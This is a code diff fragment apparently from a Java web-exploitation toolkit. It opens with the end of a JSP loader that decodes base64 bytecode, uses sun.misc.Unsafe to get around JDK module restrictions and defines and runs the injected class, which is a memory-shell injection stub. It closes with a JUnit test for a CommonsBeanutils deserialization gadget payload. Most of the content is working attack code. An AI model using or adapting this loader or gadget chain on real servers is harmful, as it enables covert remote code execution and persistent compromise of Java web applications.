bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Object unsafe = null;
Object rawModule = null;
long offset = 48;
java.lang.reflect.Method getAndSetObjectM = null;
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = unsafeField.get(null);
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Throwable ignored) {
}
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
}
clazz.newInstance();
%>
@@ -0,0 +1,34 @@
package com.reajason.javaweb.deserialize.payload;
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.modifier.FieldManifestation;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import org.junit.jupiter.api.Test;
import java.net.URL;
import java.net.URLClassLoader;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2025/2/17
*/
class CommonsBeanutils18Test {
@Test
@SneakyThrows
void test() {
Object object = new ByteBuddy()
.redefine(Class.forName("org.apache.commons.beanutils.BeanComparator"))
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
.value(-2044202215314119608L)
.make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance();
assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID"));
}
}